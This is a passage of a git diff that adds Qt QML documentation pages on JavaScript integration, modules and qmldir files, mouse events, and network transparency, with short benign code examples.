+QDeclarativeComponent component(engine, QUrl::fromLocalFile("myqml.qml"));
+QGraphicsObject *object =
+ qobject_cast<QGraphicsObject *>(component.create());
+scene->addItem(object);
+\endcode
+
+The following QGraphicsView options are recommended for optimal performance
+of QML UIs:
+
+\list
+\o QGraphicsView::setOptimizationFlags(QGraphicsView::DontSavePainterState)
+\o QGraphicsView::setViewportUpdateMode(QGraphicsView::BoundingRectViewportUpdate)
+\o QGraphicsScene::setItemIndexMethod(QGraphicsScene::NoIndex)
+\endlist
+
+\section2 Loading QGraphicsWidget objects in QML
+
+An alternative approach is to expose your existing QGraphicsWidget objects to
+QML and construct your scene in QML instead. See the \l {declarative-cppextensions-qgraphicslayouts.html}{graphics layouts example}
+which shows how to expose Qt's graphics layout classes to QML in order
+to use QGraphicsWidget with classes like QGraphicsLinearLayout and QGraphicsGridLayout.
+
+To expose your existing QGraphicsWidget classes to QML, use \l {qmlRegisterType()}.
+See \l{Extending QML Functionalities using C++} for further information on
+how to use C++ types in QML.
+
+*/
diff --git a/doc/src/declarative/javascriptblocks.qdoc b/doc/src/declarative/javascriptblocks.qdoc
new file mode 100644
index 00000000..0c608221
--- /dev/null
+++ b/doc/src/declarative/javascriptblocks.qdoc
@@ -0,0 +1,324 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativejavascript.html
+\title Integrating JavaScript
+
+QML encourages building UIs declaratively, using \l {Property Binding} and the
+composition of existing \l {QML Elements}. To allow the implementation of more
+advanced behavior, QML integrates tightly with imperative JavaScript code.
+
+The JavaScript environment provided by QML is stricter than that in a web browser.
+In QML you cannot add, or modify, members of the JavaScript global object. It
+is possible to do this accidentally by using a variable without declaring it. In
+QML this will throw an exception, so all local variables should be explicitly
+declared.
+
+In addition to the standard JavaScript properties, the \l {QML Global Object}
+includes a number of helper methods that simplify building UIs and interacting
+with the QML environment.
+
+\section1 Inline JavaScript
+
+Small JavaScript functions can be written inline with other QML declarations.
+These inline functions are added as methods to the QML element that contains
+them.
+
+\code
+Item {
+ function factorial(a) {
+ a = parseInt(a);
+ if (a <= 0)
+ return 1;
+ else
+ return a * factorial(a - 1);
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: console.log(factorial(10))
+ }
+}
+\endcode
+
+As methods, inline functions on the root element in a QML component can be
+invoked by callers outside the component. If this is not desired, the method
+can be added to a non-root element or, preferably, written in an external
+JavaScript file.
+
+\section1 Separate JavaScript files
+
+Large blocks of JavaScript should be written in separate files. These files
+can be imported into QML files using an \c import statement, in the same way
+that \l {Modules}{modules} are imported.
+
+For example, the \c {factorial()} method in the above example for \l {Inline JavaScript}
+could be moved into an external file named \c factorial.js, and accessed like this:
+
+\code
+import "factorial.js" as MathFunctions
+Item {
+ MouseArea {
+ anchors.fill: parent
+ onClicked: console.log(MathFunctions.factorial(10))
+ }
+}
+\endcode
+
+Both relative and absolute JavaScript URLs can be imported. In the case of a
+relative URL, the location is resolved relative to the location of the
+\l {QML Document} that contains the import. If the script file is not accessible,
+an error will occur. If the JavaScript needs to be fetched from a network
+resource, the component's \l {QDeclarativeComponent::status()}{status} is set to
+"Loading" until the script has been downloaded.
+
+Imported JavaScript files are always qualified using the "as" keyword. The
+qualifier for JavaScript files must be unique, so there is always a one-to-one
+mapping between qualifiers and JavaScript files. (This also means qualifiers cannot
+be named the same as built-in JavaScript objects such as \c Date and \c Math).
+
+
+\section2 Code-Behind Implementation Files
+
+Most JavaScript files imported into a QML file are stateful, logic implementations
+for the QML file importing them. In these cases, for QML component instances to
+behave correctly each instance requires a separate copy of the JavaScript objects
+and state.
+
+The default behavior when importing JavaScript files is to provide a unique, isolated
+copy for each QML component instance. The code runs in the same scope as the QML
+component instance and consequently can can access and manipulate the objects and
+properties declared.
+
+\section2 Stateless JavaScript libraries
+
+Some JavaScript files act more like libraries - they provide a set of stateless
+helper functions that take input and compute output, but never manipulate QML
+component instances directly.
+
+As it would be wasteful for each QML component instance to have a unique copy of
+these libraries, the JavaScript programmer can indicate a particular file is a
+stateless library through the use of a pragma, as shown in the following example.
+
+\code
+// factorial.js
+.pragma library
+
+function factorial(a) {
+ a = parseInt(a);
+ if (a <= 0)
+ return 1;
+ else
+ return a * factorial(a - 1);
+}
+\endcode
+
+The pragma declaration must appear before any JavaScript code excluding comments.
+
+As they are shared, stateless library files cannot access QML component instance
+objects or properties directly, although QML values can be passed as function
+parameters.
+
+
+\section2 Importing One JavaScript File From Another
+
+If a JavaScript file needs to use functions defined inside another JavaScript file,
+the other file can be imported using the \l {QML:Qt::include()}{Qt.include()}
+function. This imports all functions from the other file into the current file's
+namespace.
+
+For example, the QML code below left calls \c showCalculations() in \c script.js,
+which in turn can call \c factorial() in \c factorial.js, as it has included
+\c factorial.js using \l {QML:Qt::include()}{Qt.include()}.
+
+\table
+\row
+\o {1,2} \snippet doc/src/snippets/declarative/integrating-javascript/includejs/app.qml 0
+\o \snippet doc/src/snippets/declarative/integrating-javascript/includejs/script.js 0
+\row
+\o \snippet doc/src/snippets/declarative/integrating-javascript/includejs/factorial.js 0
+\endtable
+
+Notice that calling \l {QML:Qt::include()}{Qt.include()} imports all functions from
+\c factorial.js into the \c MyScript namespace, which means the QML component can also
+access \c factorial() directly as \c MyScript.factorial().
+
+
+\section1 Running JavaScript at Startup
+
+It is occasionally necessary to run some imperative code at application (or
+component instance) startup. While it is tempting to just include the startup
+script as \e {global code} in an external script file, this can have severe limitations
+as the QML environment may not have been fully established. For example, some objects
+might not have been created or some \l {Property Binding}s may not have been run.
+\l {QML JavaScript Restrictions} covers the exact limitations of global script code.
+
+The QML \l Component element provides an \e attached \c onCompleted property that
+can be used to trigger the execution of script code at startup after the
+QML environment has been completely established. For example:
+
+\code
+Rectangle {
+ function startupFunction() {
+ // ... startup code
+ }
+
+ Component.onCompleted: startupFunction();
+}
+\endcode
+
+Any element in a QML file - including nested elements and nested QML component
+instances - can use this attached property. If there is more than one \c onCompleted()
+handler to execute at startup, they are run sequentially in an undefined order.
+
+Likewise, the \l {Component::onDestruction} attached property is triggered on
+component destruction.
+
+
+\section1 JavaScript and Property Binding
+
+Property bindings can be created in JavaScript by assigning the property with a \c function
+that returns the required value.
+
+See \l {qml-javascript-assignment}{Property Assignment versus Property Binding} for details.
+
+
+\section1 Receiving QML Signals in JavaScript
+
+To receive a QML signal, use the signal's \c connect() method to connect it to a JavaScript
+function.
+
+For example, the following code connects the MouseArea \c clicked signal to the \c jsFunction()
+in \c script.js:
+
+\table
+\row
+\o \snippet doc/src/snippets/declarative/integrating-javascript/connectjs.qml 0
+\o \snippet doc/src/snippets/declarative/integrating-javascript/script.js 0
+\endtable
+
+The \c jsFunction() will now be called whenever MouseArea's \c clicked signal is emitted.
+
+See \l{QML Signal and Handler Event System#Connecting Signals to Methods and Signals}
+{Connecting Signals to Methods and Signals} for more information.
+
+
+\section1 QML JavaScript Restrictions
+
+QML executes standard JavaScript code, with the following restrictions:
+
+\list
+\o JavaScript code cannot modify the global object.
+
+In QML, the global object is constant - existing properties cannot be modified or
+deleted, and no new properties may be created.
+
+Most JavaScript programs do not intentionally modify the global object. However,
+JavaScript's automatic creation of undeclared variables is an implicit modification
+of the global object, and is prohibited in QML.
+
+Assuming that the \c a variable does not exist in the scope chain, the following code
+is illegal in QML.
+
+\code
+// Illegal modification of undeclared variable
+a = 1;
+for (var ii = 1; ii < 10; ++ii)
+ a = a * ii;
+console.log("Result: " + a);
+\endcode
+
+It can be trivially modified to this legal code.
+
+\code
+var a = 1;
+for (var ii = 1; ii < 10; ++ii)
+ a = a * ii;
+console.log("Result: " + a);
+\endcode
+
+Any attempt to modify the global object - either implicitly or explicitly - will
+cause an exception. If uncaught, this will result in an warning being printed,
+that includes the file and line number of the offending code.
+
+\o Global code is run in a reduced scope
+
+During startup, if a QML file includes an external JavaScript file with "global"
+code, it is executed in a scope that contains only the external file itself and
+the global object. That is, it will not have access to the QML objects and
+properties it \l {QML Scope}{normally would}.
+
+Global code that only accesses script local variable is permitted. This is an
+example of valid global code.
+
+\code
+var colors = [ "red", "blue", "green", "orange", "purple" ];
+\endcode
+
+Global code that accesses QML objects will not run correctly.
+
+\code
+// Invalid global code - the "rootObject" variable is undefined
+var initialPosition = { rootObject.x, rootObject.y }
+\endcode
+
+This restriction exists as the QML environment is not yet fully established.
+To run code after the environment setup has completed, refer to
+\l {Running JavaScript at Startup}.
+
+\o The value of \c this is currently undefined in QML in the majority of contexts
+
+The \c this keyword is supported when binding properties from JavaScript.
+In all other situations, the value of
+\c this is undefined in QML.
+
+To refer to any element, provide an \c id. For example:
+
+\qml
+Item {
+ width: 200; height: 100
+ function mouseAreaClicked(area) {
+ console.log("Clicked in area at: " + area.x + ", " + area.y);
+ }
+ // This will not work because this is undefined
+ MouseArea {
+ height: 50; width: 200
+ onClicked: mouseAreaClicked(this)
+ }
+ // This will pass area2 to the function
+ MouseArea {
+ id: area2
+ y: 50; height: 50; width: 200
+ onClicked: mouseAreaClicked(area2)
+ }
+}
+\endqml
+
+\endlist
+
+*/
diff --git a/doc/src/declarative/modules.qdoc b/doc/src/declarative/modules.qdoc
new file mode 100644
index 00000000..e5036c36
--- /dev/null
+++ b/doc/src/declarative/modules.qdoc
@@ -0,0 +1,487 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativemodules.html
+\title Modules
+\section1 QML Modules
+
+
+A module is a set of QML content files that can be imported as a unit into a QML
+application. Modules can be used to organize QML content into independent units,
+and they can use a versioning mechanism that allows for independent
+upgradability of the modules.
+
+While QML component files within the same directory are automatically accessible
+within the global namespace, components defined elsewhere must be imported
+explicitly using the \c import statement to import them as modules. For
+example, an \c import statement is required to use:
+
+\list
+\o A component defined in another QML file that is not in the same directory
+\o A component defined in a QML file located on a remote server
+\o A \l{QDeclarativeExtensionPlugin}{QML extension plugin} library (unless the plugin is installed in the same directory)
+\o A JavaScript file (note this must be imported using \l {#namespaces}{named imports})
+\endlist
+
+An \c import statement includes the module name, and possibly a version number.
+This can be seen in the snippet commonly found at the top of QML files:
+
+\snippet doc/src/snippets/declarative/imports/qtquick-1.0.qml import
+
+This imports version 1.0 of the "QtQuick" module into the global namespace. (The QML
+library itself must be imported to use any of the \l {QML Elements}, as they
+are not included in the global namespace by default.)
+
+The \c Qt module is an \e installed module; it is found in the
+\l{#import-path}{import path}. There are two types of QML modules:
+located modules (defined by a URL) and installed modules (defined by a URI).
+
+
+\section1 Located Modules
+
+Located modules can reside on the local filesystem or a network resource,
+and are referred to by a quoted location URL that specifies the filesystem
+or network URL. They allow any directory with QML content to be imported
+as a module, whether the directory is on the local filesystem or a remote
+server.
+
+For example, a QML project may have a separate directory for a set of
+custom UI components. These components can be accessed by importing the
+directory using a relative or absolute path, like this:
+
+\table
+\row
+\o Directory structure
+\o Contents of application.qml
+
+\row
+\o
+\code
+MyQMLProject
+ |- MyComponents
+ |- CheckBox.qml
+ |- Slider.qml
+ |- Window.qml
+ |- Main
+ |- application.qml
+\endcode
+
+\o
+\qml
+import "../MyComponents"
+
+Window {
+ Slider {
+ // ...
+ }
+ CheckBox {
+ // ...
+ }
+}
+\endqml
+
+\endtable
+
+Similarly, if the directory resided on a network source, it could
+be imported like this:
+
+\snippet doc/src/snippets/declarative/imports/network-imports.qml imports
+
+A located module can also be imported as a network resource if it has a
+\l{Writing a qmldir file}{qmldir file} in the directory that specifies the QML files
+to be made available by the module. For example, if the \c MyComponents directory
+contained a \c qmldir file defined like this:
+
+\code
+Slider 1.0 Slider.qml
+CheckBox 1.0 CheckBox.qml
+Window 1.0 Window.qml
+\endcode
+
+If the \c MyComponents directory was then hosted as a network resource, it could
+be imported as a module, like this:
+
+\qml
+import "http://the-server-name.com/MyQMLProject/MyComponents"
+
+Window {
+ Slider {
+ // ...
+ }
+ CheckBox {
+ // ...
+ }
+}
+\endqml
+
+with an optional "1.0" version specification. Notice the import would fail if
+a later version was used, as the \c qmldir file specifies that these elements
+are only available in the 1.0 version.
+
+Note that modules imported as a network resource allow only access to components
+defined in QML files; components defined by C++ \l{QDeclarativeExtensionPlugin}{QML extension plugins}
+are not available.
+
+
+\target import-path
+\section1 Installed Modules
+
+Installed modules are modules that are made available through the QML import path,
+as defined by QDeclarativeEngine::importPathList(), or modules defined within
+C++ application code. An installed module is referred to by a URI, which allows
+the module to be imported from QML code without specifying a complete filesystem
+path or network resource URL.
+
+When importing an installed module, an un-quoted URI is
+used, with a mandatory version number:
+
+\snippet doc/src/snippets/declarative/imports/installed-module.qml imports
+
+When a module is imported, the QML engine searches the QML import path for a matching
+module. The root directory of the module must contain a
+\l{Writing a qmldir file}{qmldir file} that defines the QML files
+and/or C++ QML extension plugins that are made available to the module.
+
+Modules that are installed into the import path translate the URI into
+directory names. For example, the qmldir file of the module \c com.nokia.qml.mymodule
+must be located in the subpath \c com/nokia/qml/mymodule/qmldir somewhere in the
+QML import path. In addition it is possible to store different versions of the
+module in subdirectories of its own. For example, a version 2.1 of the
+module could be located under \c com/nokia/qml/mymodule.2/qmldir or
+\c com/nokia/qml/mymodule.2.1/qmldir. The engine will automatically load
+the module which matches best.
+
+The import path, as returned by QDeclarativeEngine::importPathList(), defines the default
+locations to be searched by the QML engine for a matching module. By default, this list
+contains:
+
+\list
+\o The directory of the current file
+\o The location specified by QLibraryInfo::ImportsPath
+\o Paths specified by the \c QML_IMPORT_PATH environment variable
+\endlist
+
+Additional import paths can be added through QDeclarativeEngine::addImportPath() or the
+\c QML_IMPORT_PATH environment variable. When running the \l {QML Viewer}, you
+can also use the \c -I option to add an import path.
+
+
+\section2 Creating Installed Modules
+
+As an example, suppose the \c MyQMLProject directory in the \l{Located Modules}{previous example}
+was located on the local filesystem at \c C:\qml\projects\MyQMLProject. The \c MyComponents
+subdirectory could be made available as an installed module by adding a
+\l{Writing a qmldir file}{qmldir file} to the \c MyComponents directory that looked like this:
+
+\code
+Slider 1.0 Slider.qml
+CheckBox 1.0 CheckBox.qml
+Window 1.0 Window.qml
+\endcode
+
+Providing the path \c C:\qml is added to the QML import path using any of the methods listed previously,
+a QML file located anywhere on the local filesystem can then import the module as shown below,
+without referring to the module's absolute filesystem location:
+
+\qml
+import projects.MyQMLProject.MyComponents 1.0
+
+Window {
+ Slider {
+ // ...
+ }
+ CheckBox {
+ // ...
+ }
+}
+\endqml
+
+Installed modules are also accessible as a network resource. If the \c C:\qml directory was hosted
+as \c http://www.some-server.com/qml and this URL was added to the QML import path, the above
+QML code would work just the same.
+
+Note that modules imported as a network resource allow only access to components
+defined in QML files; components defined by C++ \l{QDeclarativeExtensionPlugin}{QML extension plugins}
+are not available.
+
+
+\section2 Creating Installed Modules in C++
+
+C++ applications can define installed modules directly within the application using qmlRegisterType().
+For example, the \l {Tutorial: Writing QML extensions with C++}{Writing QML extensions with C++ tutorial}
+defines a C++ class named \c PieChart and makes this type available to QML by calling qmlRegisterType():
+
+\code
+qmlRegisterType<PieChart>("Charts", 1, 0, "PieChart");
+\endcode
+
+This allows the application's QML files to use the \c PieChart type by importing the declared
+\c Charts module:
+
+\snippet doc/src/snippets/declarative/imports/chart.qml import
+
+For \l{QDeclarativeExtensionPlugin}{QML plugins}, the
+module URI is automatically passed to QDeclarativeExtensionPlugin::registerTypes(). This method
+can be reimplemented by the developer to register the necessary types for the module. Below is the
+\c registerTypes() implementation from the \l{declarative/cppextensions/plugins}{QML plugins}
+example:
+
+\snippet examples/declarative/cppextensions/plugins/plugin.cpp plugin
+
+Once the plugin is built and installed, and includes a \l{Writing a qmldir file}{qmldir file},
+the module can be imported from QML, like this:
+
+\snippet doc/src/snippets/declarative/imports/timeexample.qml import
+
+Unlike QML types defined by QML files, a QML type defined in a C++ extension plugin cannot be loaded by
+a module that is imported as a network resource.
+
+
+
+\target namespaces
+\section1 Namespaces: Using Named Imports
+
+By default, when a module is imported, its contents are imported into the global namespace. You may choose to import the module into another namespace, either to allow identically-named types to be referenced, or purely for readability.
+
+To import a module into a specific namespace, use the \e as keyword:
+
+\snippet doc/src/snippets/declarative/imports/named-imports.qml imports
+
+Types from these modules can then only be used when qualified by the namespace:
+
+\snippet doc/src/snippets/declarative/imports/named-imports.qml imported items
+
+Multiple modules can be imported into the same namespace in the same way that multiple modules can be imported into the global namespace:
+
+\snippet doc/src/snippets/declarative/imports/merged-named-imports.qml imports
+
+\section2 JavaScript Files
+
+JavaScript files must always be imported with a named import:
+
+\qml
+import "somescript.js" as MyScript
+
+Item {
+ //...
+ Component.onCompleted: MyScript.doSomething()
+}
+\endqml
+
+The qualifier ("MyScript" in the above example) must be unique within the QML document.
+Unlike ordinary modules, multiple scripts cannot be imported into the same namespace.
+
+
+\section1 Writing a qmldir File
+
+A \c qmldir file is a metadata file for a module that maps all type names in
+the module to versioned QML files. It is required for installed modules, and
+located modules that are loaded from a network source.
+
+It is defined by a plain text file named "qmldir" that contains one or more lines of the form:
+
+\code
+# <Comment>
+<TypeName> [<InitialVersion>] <File>
+internal <TypeName> <File>
+plugin <Name> [<Path>]
+typeinfo <File>
+\endcode
+
+\bold {# <Comment>} lines are used for comments. They are ignored by the QML engine.
+
+\bold {<TypeName> [<InitialVersion>] <File>} lines are used to add QML files as types.
+<TypeName> is the type being made available, the optional <InitialVersion> is a version
+number, and <File> is the (relative) file name of the QML file defining the type.
+
+Installed files do not need to import the module of which they are a part, as they can refer
+to the other QML files in the module as relative (local) files, but
+if the module is imported from a remote location, those files must nevertheless be listed in
+the \c qmldir file. Types which you do not wish to export to users of your module
+may be marked with the \c internal keyword: \bold {internal <TypeName> <File>}.
+
+The same type can be provided by different files in different versions, in which
+case later versions (e.g. 1.2) must precede earlier versions (e.g. 1.0),
+since the \e first name-version match is used and a request for a version of a type
+can be fulfilled by one defined in an earlier version of the module. If a user attempts
+to import a version earlier than the earliest provided or later than the latest provided,
+the import produces a runtime error, but if the user imports a version within the range of versions provided,
+even if no type is specific to that version, no error will occur.
+
+A single module, in all versions, may only be provided in a single directory (and a single \c qmldir file).
+If multiple are provided, only the first in the search path will be used (regardless of whether other versions
+are provided by directories later in the search path).
+
+The versioning system ensures that a given QML file will work regardless of the version
+of installed software, since a versioned import \e only imports types for that version,
+leaving other identifiers available, even if the actual installed version might otherwise
+provide those identifiers.
+
+\bold {plugin <Name> [<Path>]} lines are used to add \l{QDeclarativeExtensionPlugin}{QML C++ plugins} to the module. <Name> is the name of the library. It is usually not the same as the file name
+of the plugin binary, which is platform dependent; e.g. the library \c MyAppTypes would produce
+\c libMyAppTypes.so on Linux and \c MyAppTypes.dll on Windows.
+
+<Path> is an optional argument specifying either an absolute path to the directory containing the
+plugin file, or a relative path from the directory containing the \c qmldir file to the directory
+containing the plugin file. By default the engine searches for the plugin library in the directory that contains the \c qmldir
+file. The plugin search path can be queried with QDeclarativeEngine::pluginPathList() and modified using QDeclarativeEngine::addPluginPath(). When running the \l {QML Viewer}, use the \c -P option to add paths to the plugin search path.
+
+\bold {typeinfo <File>} lines add \l{Writing a qmltypes file}{type description files} to
+the module that can be read by QML tools such as Qt Creator to get information about the
+types defined by the module's plugins. <File> is the (relative) file name of a .qmltypes
+file.
+
+Without such a file QML tools may be unable to offer features such as code completion
+for the types defined in your plugins.
+
+
+\section1 Debugging
+
+The \c QML_IMPORT_TRACE environment variable can be useful for debugging
+when there are problems with finding and loading modules. See
+\l{Debugging module imports} for more information.
+
+
+\section1 Writing a qmltypes file
+
+QML modules may refer to one or more type information files in their
+\l{Writing a qmldir file}{qmldir} file. These usually have the .qmltypes
+extension and are read by external tools to gain information about
+types defined in plugins.
+
+As such qmltypes files have no effect on the functionality of a QML module.
+Their only use is to allow tools such as Qt Creator to provide code completion,
+error checking and other functionality to users of your module.
+
+Any module that uses plugins should also ship a type description file.
+
+The best way to create a qmltypes file for your module is to generate it
+using the \c qmlplugindump tool that is provided with Qt.
+
+Example:
+If your module is in \c /tmp/imports/My/Module, you could run
+\code
+qmlplugindump My.Module 1.0 /tmp/imports > /tmp/imports/My/Module/mymodule.qmltypes
+\endcode
+to generate type information for your module. Afterwards, add the line
+\code
+typeinfo mymodule.qmltypes
+\endcode
+to \c /tmp/imports/My/Module/qmldir to register it.
+
+While the qmldump tool covers most cases, it does not work if:
+\list
+\o The plugin uses a \l{QDeclarativeCustomParser}. The component that uses
+ the custom parser will not get its members documented.
+\o The plugin can not be loaded. In particular if you cross-compiled
+ the plugin for a different architecture, qmldump will not be able to
+ load it.
+\endlist
+
+In case you have to create a qmltypes file manually or need to adjust
+an existing one, this is the file format:
+
+\qml
+import QtQuick.tooling 1.1
+
+// There always is a single Module object that contains all
+// Component objects.
+Module {
+ // A Component object directly corresponds to a type exported
+ // in a plugin with a call to qmlRegisterType.
+ Component {
+
+ // The name is a unique identifier used to refer to this type.
+ // It is recommended you simply use the C++ type name.
+ name: "QDeclarativeAbstractAnimation"
+
+ // The name of the prototype Component.
+ prototype: "QObject"
+
+ // The name of the default property.
+ defaultProperty: "animations"
+
+ // The name of the type containing attached properties
+ // and methods.
+ attachedType: "QDeclarativeAnimationAttached"
+
+ // The list of exports determines how a type can be imported.
+ // Each string has the format "URI/Name version" and matches the
+ // arguments to qmlRegisterType. Usually types are only exported
+ // once, if at all.
+ // If the "URI/" part of the string is missing that means the
+ // type should be put into the package defined by the URI the
+ // module was imported with.
+ // For example if this module was imported with 'import Foo 4.8'
+ // the Animation object would be found in the package Foo and
+ // QtQuick.
+ exports: [
+ "Animation 4.7",
+ "QtQuick/Animation 1.0"
+ ]
+
+ Property {
+ name: "animations";
+ type: "QDeclarativeAbstractAnimation"
+ // defaults to false, whether this property is read only
+ isReadonly: true
+ // defaults to false, whether the type of this property was a pointer in C++
+ isPointer: true
+ // defaults to false: whether the type actually is a QDeclarativeListProperty<type>
+ isList: true
+ // defaults to 0: the minor version that introduced this property
+ revision: 1
+ }
+ Property { name: "loops"; type: "int" }
+ Property { name: "name"; type: "string" }
+ Property { name: "loopsEnum"; type: "Loops" }
+
+ Enum {
+ name: "Loops"
+ values: {
+ "Infinite": -2,
+ "OnceOnly": 1
+ }
+ }
+
+ // Signal and Method work the same way. The inner Parameter
+ // declarations also support the isReadonly, isPointer and isList
+ // attributes which mean the same as for Property
+ Method { name: "restart" }
+ Signal { name: "started"; revision: 2 }
+ Signal {
+ name: "runningChanged"
+ Parameter { type: "bool" }
+ Parameter { name: "foo"; type: "bool" }
+ }
+ }
+}
+\endqml
+
+*/
+/
diff --git a/doc/src/declarative/mouseevents.qdoc b/doc/src/declarative/mouseevents.qdoc
new file mode 100644
index 00000000..8b04709e
--- /dev/null
+++ b/doc/src/declarative/mouseevents.qdoc
@@ -0,0 +1,120 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page mouseevents.html
+\title QML Mouse Events
+\ingroup QML Features
+\previouspage {Anchor-based Layout in QML}{Layouts using Anchors}
+\nextpage {QML Text Handling and Validators}{Text Handling and Validators}
+\contentspage QML Features
+
+\tableofcontents
+
+\section1 Mouse Elements
+
+\list
+\o \l{MouseArea} Element
+\o \l{MouseEvent} Object
+\endlist
+
+\section1 Mouse Event Handling
+
+QML uses \l{QML Signal and Handler Event System}{signals and handlers} to
+deliver mouse interactions. Specifically, the \l MouseArea and \l MouseEvent
+elements provide QML components with signal handlers to accept mouse events
+within a defined area.
+
+\section1 Defining a Mouse Area
+
+The \l MouseArea element receives events within a defined area. One quick way
+to define this area is to anchor the \c MouseArea to its parent's area using the
+\c anchors.fill property. If the parent is a \l Rectangle (or any \l Item
+component), then the MouseArea will fill the area defined by the parent's
+dimensions. Alternatively, an area smaller or larger than the parent is
+definable.
+\snippet doc/src/snippets/declarative/mousearea/mousearea-snippet.qml anchor fill
+
+\section1 Receiving Events
+
+The MouseArea element provides
+\l{QML Signal and Handler Event System}{signals and handlers} to detect different
+mouse events. The \l MouseArea element documentation describes these
+gestures in greater detail:
+
+\list
+\o canceled
+\o clicked
+\o doubleClicked
+\o entered
+\o exited
+\o positionChanged
+\o pressAndHold
+\o pressed
+\o released
+\endlist
+
+These signals have signal handlers that are invoked when the signals are emitted.
+\snippet doc/src/snippets/declarative/mousearea/mousearea-snippet.qml mouse handlers
+
+\section1 Enabling Gestures
+Some mouse gestures and button clicks need to be enabled before they send or
+receive events. Certain \l MouseArea and \l MouseEvent properties enable these
+gestures.
+
+To listen to (or explicitly ignore) a certain mouse button, set the appropriate
+mouse button to the \l {MouseArea::acceptedButtons}{acceptedButtons} property.
+
+Naturally, the mouse events, such as button presses and mouse positions, are
+sent during a mouse click. For example, the \c containsMouse property will only
+retrieve its correct value during a mouse press. The
+\l {MouseArea::hoverEnabled}{hoverEnabled} will enable mouse events and
+positioning even when there are no mouse button presses. Setting the
+\c hoverEnabled property to \c true, in turn will enable the \c entered,
+\c exited, and \c positionChanged signal and their respective signal handlers.
+
+\snippet doc/src/snippets/declarative/mousearea/mousearea-snippet.qml enable handlers
+Additionally, to disable the whole mouse area, set the \c MouseArea
+element's \c enabled property to \c false.
+
+\section1 MouseEvent Object
+
+Signals and their handlers receive a \l MouseEvent object as a parameter. The
+\c mouse object contain information about the mouse event. For example, the
+mouse button that started the event is queried through the
+\l {MouseEvent::button}{mouse.button} property.
+
+The \c MouseEvent object can also ignore a mouse event using its \c accepted
+property.
+
+\section2 Accepting Further Signals
+Many of the signals are sent multiple times to reflect various mouse events
+such as double clicking. To facilitate the classification of mouse clicks, the
+MouseEvent object has an \c accepted property to disable the event propagation.
+
+To learn more about QML's event system, please read the \l {QML Signal and Handler Event System} document.
+*/
diff --git a/doc/src/declarative/network.qdoc b/doc/src/declarative/network.qdoc
new file mode 100644
index 00000000..90af1089
--- /dev/null
+++ b/doc/src/declarative/network.qdoc
@@ -0,0 +1,158 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativenetwork.html
+\ingroup qml-features
+\previouspage {Dynamic Object Management in QML}{Dynamic Object Management}
+\nextpage {QML Internationalization}{Internationalization}
+\contentspage QML Features
+\title Network Transparency
+
+QML supports network transparency by using URLs (rather than file names) for all
+references from a QML document to other content:
+
+\qml
+Image {
+ source: "http://www.example.com/images/logo.png"
+}
+\endqml
+
+Since a \e relative URL is the same
+as a relative file, development of QML on regular file systems remains simple:
+
+\qml
+Image {
+ source: "images/logo.png"
+}
+\endqml
+
+Network transparency is supported throughout QML, for example:
+
+\list
+\o Fonts - the \c source property of FontLoader is a URL
+\o WebViews - the \c url property of WebView (obviously!)
+\endlist
+
+Even QML types themselves can be on the network - if the \l {QML Viewer} is used to load
+\tt http://example.com/mystuff/Hello.qml and that content refers to a type "World", the engine
+will load \tt http://example.com/mystuff/qmldir and resolve the type just as it would for a local file.
+For example if the qmldir file contains the line "World World.qml", it will load
+\tt http://example.com/mystuff/World.qml
+Any other resources that \tt Hello.qml referred to, usually by a relative URL, would
+similarly be loaded from the network.
+
+
+\section1 Relative vs. Absolute URLs
+
+Whenever an object has a property of type URL (QUrl), assigning a string to that
+property will actually assign an absolute URL - by resolving the string against
+the URL of the document where the string is used.
+
+For example, consider this content in \tt{http://example.com/mystuff/test.qml}:
+
+\qml
+Image {
+ source: "images/logo.png"
+}
+\endqml
+
+The \l Image source property will be assigned \tt{http://example.com/mystuff/images/logo.png},
+but while the QML is being developed, in say \tt C:\\User\\Fred\\Documents\\MyStuff\\test.qml, it will be assigned
